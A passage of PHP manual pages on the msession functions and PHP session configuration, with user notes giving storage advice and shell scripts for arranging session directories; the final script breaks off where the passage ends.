  • PHP Manual
  • Msession Functions
  • Connect to msession server

msession_connect

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_connect — Connect to msession server

Description

bool msession_connect ( string $host , string $port )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get session count

  • « msession_connect
  • msession_create »
  • PHP Manual
  • Msession Functions
  • Get session count

msession_count

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_count — Get session count

Description

int msession_count ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Create a session

  • « msession_count
  • msession_destroy »
  • PHP Manual
  • Msession Functions
  • Create a session

msession_create

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_create — Create a session

Description

bool msession_create ( string $session [, string $classname [, string $data ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Destroy a session

  • « msession_create
  • msession_disconnect »
  • PHP Manual
  • Msession Functions
  • Destroy a session

msession_destroy

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_destroy — Destroy a session

Description

bool msession_destroy ( string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Close connection to msession server

  • « msession_destroy
  • msession_find »
  • PHP Manual
  • Msession Functions
  • Close connection to msession server

msession_disconnect

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_disconnect — Close connection to msession server

Description

void msession_disconnect ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Find all sessions with name and value

  • « msession_disconnect
  • msession_get_array »
  • PHP Manual
  • Msession Functions
  • Find all sessions with name and value

msession_find

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_find — Find all sessions with name and value

Description

array msession_find ( string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get array of msession variables

  • « msession_find
  • msession_get_data »
  • PHP Manual
  • Msession Functions
  • Get array of msession variables

msession_get_array

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get_array — Get array of msession variables

Description

array msession_get_array ( string $session )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get data session unstructured data

  • « msession_get_array
  • msession_get »
  • PHP Manual
  • Msession Functions
  • Get data session unstructured data

msession_get_data

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get_data — Get data session unstructured data

Description

string msession_get_data ( string $session )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get value from session

  • « msession_get_data
  • msession_inc »
  • PHP Manual
  • Msession Functions
  • Get value from session

msession_get

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get — Get value from session

Description

string msession_get ( string $session , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Increment value in session

  • « msession_get
  • msession_list »
  • PHP Manual
  • Msession Functions
  • Increment value in session

msession_inc

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_inc — Increment value in session

Description

string msession_inc ( string $session , string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


List all sessions

  • « msession_inc
  • msession_listvar »
  • PHP Manual
  • Msession Functions
  • List all sessions

msession_list

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_list — List all sessions

Description

array msession_list ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


List sessions with variable

  • « msession_list
  • msession_lock »
  • PHP Manual
  • Msession Functions
  • List sessions with variable

msession_listvar

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_listvar — List sessions with variable

Description

array msession_listvar ( string $name )

Used for searching sessions with common attributes.

Parameters

name

The name being searched.

Return Values

Returns an associative array of value/session for all sessions with a variable named name.

User Contributed Notes

There are no user contributed notes for this page.


Lock a session

  • « msession_listvar
  • msession_plugin »
  • PHP Manual
  • Msession Functions
  • Lock a session

msession_lock

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_lock — Lock a session

Description

int msession_lock ( string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Call an escape function within the msession personality plugin

  • « msession_lock
  • msession_randstr »
  • PHP Manual
  • Msession Functions
  • Call an escape function within the msession personality plugin

msession_plugin

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_plugin — Call an escape function within the msession personality plugin

Description

string msession_plugin ( string $session , string $val [, string $param ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get random string

  • « msession_plugin
  • msession_set_array »
  • PHP Manual
  • Msession Functions
  • Get random string

msession_randstr

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_randstr — Get random string

Description

string msession_randstr ( int $param )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Set msession variables from an array

  • « msession_randstr
  • msession_set_data »
  • PHP Manual
  • Msession Functions
  • Set msession variables from an array

msession_set_array

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set_array — Set msession variables from an array

Description

void msession_set_array ( string $session , array $tuples )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Set data session unstructured data

  • « msession_set_array
  • msession_set »
  • PHP Manual
  • Msession Functions
  • Set data session unstructured data

msession_set_data

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set_data — Set data session unstructured data

Description

bool msession_set_data ( string $session , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Set value in session

  • « msession_set_data
  • msession_timeout »
  • PHP Manual
  • Msession Functions
  • Set value in session

msession_set

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set — Set value in session

Description

bool msession_set ( string $session , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Set/get session timeout

  • « msession_set
  • msession_uniq »
  • PHP Manual
  • Msession Functions
  • Set/get session timeout

msession_timeout

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_timeout — Set/get session timeout

Description

int msession_timeout ( string $session [, int $param ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get unique id

  • « msession_timeout
  • msession_unlock »
  • PHP Manual
  • Msession Functions
  • Get unique id

msession_uniq

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_uniq — Get unique id

Description

string msession_uniq ( int $param [, string $classname [, string $data ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

markw at mohawksoft dot com 17-Aug-2005 02:43
msession_uniq is designed to create a guaranteed unique session handle.


Unlock a session

  • « msession_uniq
  • Sessions »
  • PHP Manual
  • Msession Functions
  • Unlock a session

msession_unlock

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_unlock — Unlock a session

Description

int msession_unlock ( string $session , int $key )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Session Handling

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
    • Passing the Session ID
    • Custom Session Handlers
  • Session Upload Progress
  • Sessions and security
  • Session Functions
    • session_abort — Discard session array changes and finish session
    • session_cache_expire — Return current cache expire
    • session_cache_limiter — Get and/or set the current cache limiter
    • session_commit — Alias of session_write_close
    • session_decode — Decodes session data from a session encoded string
    • session_destroy — Destroys all data registered to a session
    • session_encode — Encodes the current session data as a session encoded string
    • session_get_cookie_params — Get the session cookie parameters
    • session_id — Get and/or set the current session id
    • session_is_registered — Find out whether a global variable is registered in a session
    • session_module_name — Get and/or set the current session module
    • session_name — Get and/or set the current session name
    • session_regenerate_id — Update the current session id with a newly generated one
    • session_register_shutdown — Session shutdown function
    • session_register — Register one or more global variables with the current session
    • session_reset — Re-initialize session array with original values
    • session_save_path — Get and/or set the current session save path
    • session_set_cookie_params — Set the session cookie parameters
    • session_set_save_handler — Sets user-level session storage functions
    • session_start — Start new or resume existing session
    • session_status — Returns the current session status
    • session_unregister — Unregister a global variable from the current session
    • session_unset — Free all session variables
    • session_write_close — Write session data and end session
  • SessionHandler — The SessionHandler class
    • SessionHandler::close — Close the session
    • SessionHandler::create_sid — Return a new session ID
    • SessionHandler::destroy — Destroy a session
    • SessionHandler::gc — Cleanup old sessions
    • SessionHandler::open — Initialize session
    • SessionHandler::read — Read session data
    • SessionHandler::write — Write session data
  • SessionHandlerInterface — The SessionHandlerInterface class
    • SessionHandlerInterface::close — Close the session
    • SessionHandlerInterface::destroy — Destroy a session
    • SessionHandlerInterface::gc — Cleanup old sessions
    • SessionHandlerInterface::open — Initialize session
    • SessionHandlerInterface::read — Read session data
    • SessionHandlerInterface::write — Write session data

User Contributed Notes

roberto at spadim dot com dot br 21-Mar-2011 07:28
instead of memcache, you should consider using redis
http://redis.io/commands

it have KEYS command (http://redis.io/commands/keys) that can return all keys (like 'ls'/'dir' at php sessions directory)

it allow replication too (cluster use)

i don't know if anyone wrote a version of phpsessions using redis yet, but since memcache don't have KEYS command, it's hard to know if the users is connected (at app side) or what sessions still active (not expired/not logged)
elephant at punx dot pl 28-Feb-2011 08:51
Please note, that database is NOT recommended for session storage. It can be a big performance bottleneck, especially in replicated environments.

For saving sessions, file handler seems to be very effective for most setups, except those situations:
 - if performance is an issue, the directory which stores session files can be mounted as tmpfs (ram disk).
 - if sharing sessions across multiple webservers is needed (in clustered environments), use memcache for storing session information (tip: you can setup more than one instance of memcache eliminate single point of failure). This method, however, sets a limitation of session size to 64k (this should be enough for most applications)
 - don't use NFS for sharing session files between webservers, it does not handle locking correctly and can cause corruption of session data.
e dot mortoray at ecircle dot com 17-Apr-2009 02:02
There is a nuance we found with session timing out although the user is still active in the session.  The problem has to do with never modifying the session variable.

The GC will clear the session data files based on their last modification time.  Thus if you never modify the session, you simply read from it, then the GC will eventually clean up.

To prevent this you need to ensure that your session is modified within the GC delete time.  You can accomplish this like below.

<?php
if( !isset($_SESSION['last_access']) || (time() - $_SESSION['last_access']) > 60 )
  $_SESSION['last_access'] = time();
?>

This will update the session every 60s to ensure that the modification date is altered.
Some Guy 16-Jan-2009 01:26
Just some notes - it seems that php does the session writing after the script exits.
For example, if you set a bunch of session variables and then run session_regenerate_id() - the session variables are never written to the old session. The new session id is generated when you ask it to be generated, but the session exists only in memory until after the script exits - when the session is written and any and all session variables are written to it.

This caused me some confusion, as I'm running sessions in an sql database rather than flat file, trying to do any manipulation of the session database directly in a script where you have run session_regenerate_id() will fail for the new session ID because the insert hasn't been done yet, and setting any session variables will only be written to the new session, even if set before you regenerate the session ID.

Also - if using a database for sessions, make sure to use mysql_real_escape_string() before saving any session variables.
Madster 28-Jul-2008 09:45
When you include a php file in your current script it's included, not processed separately, thus it's still within the same page and the current page hasn't finished processing.
Thus, session is not set yet. This is the expected behaviour.

If you need to load a page after setting session data, you should set session data and then send a redirection or refresh header (remember not to send anything, not even whitespace before sending headers).

Always consider session data to be updated after the next page load (as in http request completed).


Introduction

Session support in PHP consists of a way to preserve certain data across subsequent accesses.

A visitor accessing your web site is assigned a unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL.

The session support allows you to store data between requests in the $_SESSION superglobal array. When a visitor accesses your site, PHP will check automatically (if session.auto_start is set to 1) or on your request (explicitly through session_start()) whether a specific session id has been sent with the request. If this is the case, the prior saved environment is recreated.

Caution

If you turn on session.auto_start then the only way to put objects into your sessions is to load its class definition using auto_prepend_file in which you load the class definition else you will have to serialize() your object and unserialize() it afterwards.

$_SESSION (and all registered variables) are serialized internally by PHP using the serialization handler specified by the session.serialize_handler ini setting, after the request finishes. Registered variables which are undefined are marked as being not defined. On subsequent accesses, these are not defined by the session module unless the user defines them later.

Warning

Because session data is serialized, resource variables cannot be stored in the session.

Serialize handlers (php and php_binary) inherit register_globals limitations. Therefore, numeric index or string index contains special characters (| and !) cannot be used. Using these will end up with errors at script shutdown. php_serialize does not have such limitations. php_serialize is available from PHP 5.5.4.

Note:

Please note when working with sessions that a record of a session is not created until a variable has been registered using the session_register() function or by adding a new key to the $_SESSION superglobal array. This holds true regardless of if a session has been started using the session_start() function.

Note:

PHP 5.2.2 introduced an undocumented feature to store session files in "/tmp" even if open_basedir was enabled and "/tmp" is not explicitly added to the allowed paths list. This feature has been removed from PHP as of PHP 5.3.0.

User Contributed Notes

harshitcode25 at gmail dot com 21-Mar-2014 05:10
PHP Session Variables
When you are working with an application, you open it, do some changes and then you close it. This is much like a Session. The computer knows who you are. It knows when you start the application and when you end. But on the internet there is one problem: the web server does not know who you are and what you do because the HTTP address doesn't maintain state.

A PHP session solves this problem by allowing you to store user information on the server for later use (i.e. username, shopping items, etc). However, session information is temporary and will be deleted after the user has left the website. If you need a permanent storage you may want to store the data in a database.

Sessions work by creating a unique id (UID) for each visitor and store variables based on this UID. The UID is either stored in a cookie or is propagated in the URL.
payal at radixweb dot com 09-Nov-2010 07:39
If you use auto start session, Session cookie will not be created , it will be created only if you will use session_start()


Requirements

No external libraries are needed to build this extension.

Note:

Optionally you can use shared memory allocation (mm), developed by Ralf S. Engelschall, for session storage. You have to download » mm and install it. This option is not available for Windows platforms. Note that the session storage module for mm does not guarantee that concurrent accesses to the same session are properly locked. It might be more appropriate to use a shared memory based filesystem (such as tmpfs on Solaris/Linux, or /dev/md on BSD) to store sessions in files, because they are properly locked. Session data is stored in memory thus web server restart deletes it.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Session support is enabled in PHP by default. If you would not like to build your PHP with session support, you should specify the --disable-session option to configure. To use shared memory allocation (mm) for session storage configure PHP --with-mm[=DIR] .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note:

By default, all data related to a particular session will be stored in a file in the directory specified by the session.save_path INI option. A file for each session (regardless of if any data is associated with that session) will be created. This is due to the fact that a session is opened (a file is created) but no data is even written to that file. Note that this behavior is a side-effect of the limitations of working with the file system and it is possible that a custom session handler (such as one which uses a database) does not keep track of sessions which store no data.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Session configuration options
Name | Default | Changeable | Changelog
session.save_path | "" | PHP_INI_ALL |
session.name | "PHPSESSID" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.auto_start | "0" | PHP_INI_PERDIR |
session.gc_probability | "1" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL | Available since PHP 4.3.2.
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL | Available since PHP 4.0.4.
session.cookie_httponly | "" | PHP_INI_ALL | Available since PHP 5.2.0.
session.use_strict_mode | "0" | PHP_INI_ALL | Available since PHP 5.5.2.
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
session.referer_check | "" | PHP_INI_ALL |
session.entropy_file | "" | PHP_INI_ALL |
session.entropy_length | "0" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cache_expire | "180" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.2.3. PHP_INI_PERDIR in PHP < 5. Available since PHP 4.0.3.
session.bug_compat_42 | "1" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.4.0.
session.bug_compat_warn | "1" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.4.0.
session.hash_function | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
session.hash_bits_per_character | "4" | PHP_INI_ALL | Available since PHP 5.0.0.
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | Available since PHP 4.0.4.
session.upload_progress.enabled | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.cleanup | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.prefix | "upload_progress_" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.freq | "1%" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.min_freq | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

The session management system supports a number of configuration options which you can place in your php.ini file. We will give a short overview.

session.save_handler string
session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. Defaults to files. Note that individual extensions may register their own save_handlers; registered handlers can be obtained on a per-installation basis by referring to phpinfo(). See also session_set_save_handler().
session.save_path string
session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. See also session_save_path().

There is an optional N argument to this directive that determines the number of directory levels your session files will be spread around in. For example, setting to '5;/tmp' may end up creating a session file and location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create all of these directories before use. A small shell script exists in ext/session to do this, it's called mod_files.sh, with a Windows version called mod_files.bat. Also note that if N is used and greater than 0 then automatic garbage collection will not be performed, see a copy of php.ini for further information. Also, if you use N, be sure to surround session.save_path in "quotes" because the separator (;) is also used for comments in php.ini.

The file storage module creates files using mode 600 by default. This default can be changed with the optional MODE argument: N;MODE;/path where MODE is the octal representation of the mode. Setting MODE does not affect the process umask.

Warning

If you leave this set to a world-readable directory, such as /tmp (the default), other users on the server may be able to hijack sessions by getting the list of files in that directory.

Caution

When using the optional directory level argument N, as described above, note that using a value higher than 1 or 2 is inappropriate for most sites due to the large number of directories required: for example, a value of 3 implies that 64^3 directories exist on the filesystem, which can result in a lot of wasted space and inodes.

Only use N greater than 2 if you are absolutely certain that your site is large enough to require it.

Note: Prior to PHP 4.3.6, Windows users had to change this variable in order to use PHP's session functions. A valid path must be specified, e.g.: c:/temp.

session.name string
session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID. See also session_name().
session.auto_start boolean
session.auto_start specifies whether the session module starts a session automatically on request startup. Defaults to 0 (disabled).
session.serialize_handler string
session.serialize_handler defines the name of the handler which is used to serialize/deserialize data. PHP serialize format (name php_serialize, PHP internal formats (name php and php_binary) and WDDX are supported (name wddx). WDDX is only available, if PHP is compiled with WDDX support. php_serialize is available from PHP 5.5.4. php_serialize uses plain serialize/unserialize function internally and does not have limitations that php and php_binary have. Older serialize handlers cannot store numeric index nor string index contains special characters (| and !) in $_SESSION. Use php_serialize to avoid numeric index or special character errors at script shutdown. Defaults to php.
session.gc_probability integer
session.gc_probability in conjunction with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is started. Defaults to 1. See session.gc_divisor for details.
session.gc_divisor integer
session.gc_divisor coupled with session.gc_probability defines the probability that the gc (garbage collection) process is started on every session initialization. The probability is calculated by using gc_probability/gc_divisor, e.g. 1/100 means there is a 1% chance that the GC process starts on each request. session.gc_divisor defaults to 100.
session.gc_maxlifetime integer
session.gc_maxlifetime specifies the number of seconds after which data will be seen as 'garbage' and potentially cleaned up. Garbage collection may occur during session start (depending on session.gc_probability and session.gc_divisor).

Note:

If different scripts have different values of session.gc_maxlifetime but share the same place for storing the session data then the script with the minimum value will be cleaning the data. In this case, use this directive together with session.save_path.

Note: If you are using the default file-based session handler, your filesystem must keep track of access times (atime). Windows FAT does not so you will have to come up with another way to handle garbage collecting your session if you are stuck with a FAT filesystem or any other filesystem where atime tracking is not available. Since PHP 4.2.3 it has used mtime (modified date) instead of atime. So, you won't have problems with filesystems where atime tracking is not available.

session.referer_check string
session.referer_check contains the substring you want to check each HTTP Referer for. If the Referer was sent by the client and the substring was not found, the embedded session id will be marked as invalid. Defaults to the empty string.
session.entropy_file string
session.entropy_file gives a path to an external resource (file) which will be used as an additional entropy source in the session id creation process. Examples are /dev/random or /dev/urandom which are available on many Unix systems. This feature is supported on Windows since PHP 5.3.3. Setting session.entropy_length to a non zero value will make PHP use the Windows Random API as entropy source.

Note: As of PHP 5.4.0 session.entropy_file defaults to /dev/urandom or /dev/arandom if it is available. In PHP 5.3.0 this directive is left empty by default.

session.entropy_length integer
session.entropy_length specifies the number of bytes which will be read from the file specified above. Defaults to 0 (disabled).
session.use_strict_mode boolean
session.use_strict_mode specifies whether the module will use strict session id mode. If this mode is enabled, the module does not accept uninitialized session ID. If uninitialized session ID is sent from browser, new session ID is sent to browser. Applications are protected from session fixation via session adoption with strict mode. Defaults to 0 (disabled).
session.use_cookies boolean
session.use_cookies specifies whether the module will use cookies to store the session id on the client side. Defaults to 1 (enabled).
session.use_only_cookies boolean
session.use_only_cookies specifies whether the module will only use cookies to store the session id on the client side. Enabling this setting prevents attacks involved passing session ids in URLs. This setting was added in PHP 4.3.0. Defaults to 1 (enabled) since PHP 5.3.0.
session.cookie_lifetime integer
session.cookie_lifetime specifies the lifetime of the cookie in seconds which is sent to the browser. The value 0 means "until the browser is closed." Defaults to 0. See also session_get_cookie_params() and session_set_cookie_params().

Note:

The expiration timestamp is set relative to the server time, which is not necessarily the same as the time in the client's browser.

session.cookie_path string
session.cookie_path specifies path to set in the session cookie. Defaults to /. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_domain string
session.cookie_domain specifies the domain to set in the session cookie. Default is none at all meaning the host name of the server which generated the cookie according to cookies specification. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_secure boolean
session.cookie_secure specifies whether cookies should only be sent over secure connections. Defaults to off. This setting was added in PHP 4.0.4. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_httponly boolean
Marks the cookie as accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).
session.cache_limiter string
session.cache_limiter specifies the cache control method used for session pages. It may be one of the following values: nocache, private, private_no_expire, or public. Defaults to nocache. See also the session_cache_limiter() documentation for information about what these values mean.
session.cache_expire integer
session.cache_expire specifies time-to-live for cached session pages in minutes, this has no effect for nocache limiter. Defaults to 180. See also session_cache_expire().
session.use_trans_sid boolean
session.use_trans_sid whether transparent sid support is enabled or not. Defaults to 0 (disabled).

Note: URL based session management has additional security risks compared to cookie based session management. Users may send a URL that contains an active session ID to their friends by email or users may save a URL that contains a session ID to their bookmarks and access your site with the same session ID always, for example.

session.bug_compat_42 boolean
PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used, and if session.bug_compat_warn is also enabled. This feature/bug can be disabled by disabling this directive.
session.bug_compat_warn boolean
PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used by enabling both session.bug_compat_42 and session.bug_compat_warn.
session.hash_function mixed
session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits).

Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.

Note:

This setting was introduced in PHP 5.

session.hash_bits_per_character integer
session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").

Note:

This was introduced in PHP 5.

url_rewriter.tags string
url_rewriter.tags specifies which HTML tags are rewritten to include session id if transparent sid support is enabled. Defaults to a=href,area=href,frame=src,input=src,form=fakeentry,fieldset=

Note: If you want HTML/XHTML strict conformity, remove the form entry and use the <fieldset> tags around your form fields.

session.upload_progress.enabled boolean
Enables upload progress tracking, populating the $_SESSION variable. Defaults to 1, enabled.
session.upload_progress.cleanup boolean
Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled.

Note: It is highly recommended to keep this feature enabled.

session.upload_progress.prefix string
A prefix used for the upload progress key in the $_SESSION. This key will be concatenated with the value of $_POST[ini_get("session.upload_progress.name")] to provide a unique index. Defaults to "upload_progress_".
session.upload_progress.name string
The name of the key to be used in $_SESSION storing the progress information. See also session.upload_progress.prefix. If $_POST[ini_get("session.upload_progress.name")] is not passed or available, upload progressing will not be recorded. Defaults to "PHP_SESSION_UPLOAD_PROGRESS".
session.upload_progress.freq mixed
Defines how often the upload progress information should be updated. This can be defined in bytes (i.e. "update progress information after every 100 bytes"), or in percentages (i.e. "update progress information after receiving every 1% of the whole filesize"). Defaults to "1%".
session.upload_progress.min_freq integer
The minimum delay between updates, in seconds. Defaults to "1" (one second).

The track_vars and register_globals configuration settings influence how the session variables get stored and restored.

Upload progress will not be registered unless session.upload_progress.enabled is enabled, and the $_POST[ini_get("session.upload_progress.name")] variable is set. See Session Upload Progress for mor details on this functionality.

Note:

As of PHP 4.0.3, track_vars is always turned on.

User Contributed Notes

GreenReaper 14-Oct-2014 09:56
We found a session.save_path depth of 3 led to excessive wastage of inodes and in fact disk space in storing the directory tree. dir_indexes option on ext2/3/4 makes larger directories more feasible anyway, so we decided to move to a depth of 2 instead.

It took a little puzzling to figure out how to move the existing PHP sessions up one directory tree, but we ended up running this in the root sessions directory:

#!/bin/sh
for a in ./* ; do
    cd ./$a
    pwd
    for b in ./* ; do
      cd ./$b
      pwd
      # Move existing sessions out
      find ./* -xdev -type f -print0 | xargs -0 mv -t .
      # Remove subdirectories
      find ./* -xdev -type d -print0 | xargs -0 rmdir
      cd ..
  done
  cd ..
done

This script may not be the best way to do it, but it got the job done fast. You can modify it for different depths by adding or removing "for" loops.

The documentation gives a depth of 5 as an example, but five is right out. If you're going beyond 2, you're at the scale where you may want to to look at a large memcached or redis instance instead.
Christopher Kramer 02-Oct-2014 10:22
On debian (based) systems, changing session.gc_maxlifetime at runtime has no real effect. Debian disables PHP's own garbage collector by setting session.gc_probability=0. Instead it has a cronjob running every 30 minutes (see /etc/cron.d/php5) that cleans up old sessions. This cronjob basically looks into your php.ini and uses the value of session.gc_maxlifetime there to decide which sessions to clean (see /usr/lib/php5/maxlifetime).

You can adjust the global value in your php.ini (usually /etc/php5/apache2/php.ini). Or you can change the session.save_path so debian's cronjob will not clean up your sessions anymore. Then you need to either do your own garbage collection with your own cronjob or enable PHP's garbage collection (php then needs sufficient privileges on the save_path).

Why does Debian not use PHP's garbarage collection?
For security reasons, they store session data in a place (/var/lib/php5) with very stringent permissions. With the sticky bit set, only root is allowed to rename or delete files there, so PHP itself cannot clean up old session data. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=267720 .
jlevene at etisoftware dot com 21-Feb-2013 10:29
Being unable to find an actual copy of mod_files.sh, and seeing lots of complaints/bug fix requests for it, here's one that works.  It gets all its parameters from PHP.INI, so you don't have the opportunity to mess up:

#!/bin/bash
#
# Creates directories for PHP session storage.
# Replaces the one that "comes with" PHP, which (a) doesn't always come with it
# and (b) doesn't work so great.
#
# This version takes no parameters, and uses the values in PHP.INI (if it
# can find it).
#
# Works in OS-X and CentOS (and probably all other) Linux.
#
# Feb '13 by Jeff Levene.

[[ $# -gt 0 ]] && echo "$0 requires NO command-line parameters.
It gets does whatever is called for in the PHP.INI file (if it can find it).
" && exit 1

# Find the PHP.INI file, if possible:
phpIni=/usr/local/lib/php.ini                        # Default PHP.INI location
[[ ! -f "$phpIni" ]] && phpIni=/etc/php.ini            # Secondary location
[[ ! -f "$phpIni" ]] && phpIni=                        # Found it?

# Outputs the given (as $1) parameter from the PHP.INI file:
# The "empty" brackets have a SPACE and a TAB in them.
#
PhpConfigParam() {
    [[ ! "$phpIni" ]] && return
    # Get the line from the INI file:
    varLine=`grep "^[     ]*$1[     ]*=" "$phpIni"`

    # Extract the value:
    value=`expr "$varLine" : ".*$1[     ]*=[     ]*['\"]*\([^'\"]*\)"`
    echo "$value"
    }

if [[ "$phpIni" ]]
then
    savePath=`PhpConfigParam session.save_path`
    # If there's a number and semicolon at the front, remove them:
    dirDepth=`expr "$savePath" : '\([0-9]*\)'`
    [[ "$dirDepth" ]] && savePath=`expr "$savePath" : '[0-9]*;\(.*\)'` || dirDepth=0
    bits=`PhpConfigParam session.hash_bits_per_character`
    case "x$bits" in
        x)    echo "hash_bits_per_character not defined.  Not running." ; exit 2 ;;
        x4) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f' ;;
        x5) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v' ;;
        x6) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v'
            alphabet="$alphabet w x y z A B C D E F G H I J K L M N O P Q R S T U V W"
            alphabet="$alphabet X Y Z - ,"
            ;;
        *)    echo "unrecognized hash_bits_per_character.  Not running." ; exit 2 ;;
    esac
else
    echo "Cannot find the PHP.INI file.  Not running.  Sorry."
    exit 2
fi

# The depth of directories to create is $1.  0 means just create the named
# directory.  Directory to start with is $2.
#
# Used recursively, so variables must be "local".

doDir() {
    local dir="$2"
    if [[ -d "$dir" ]]
    then
        echo "Directory '$dir' already exists.  No problem."
    elif [[ -f "$dir" ]]
    then
        echo "FILE '$dir' exists.  Aborting." ; exit 2
    else
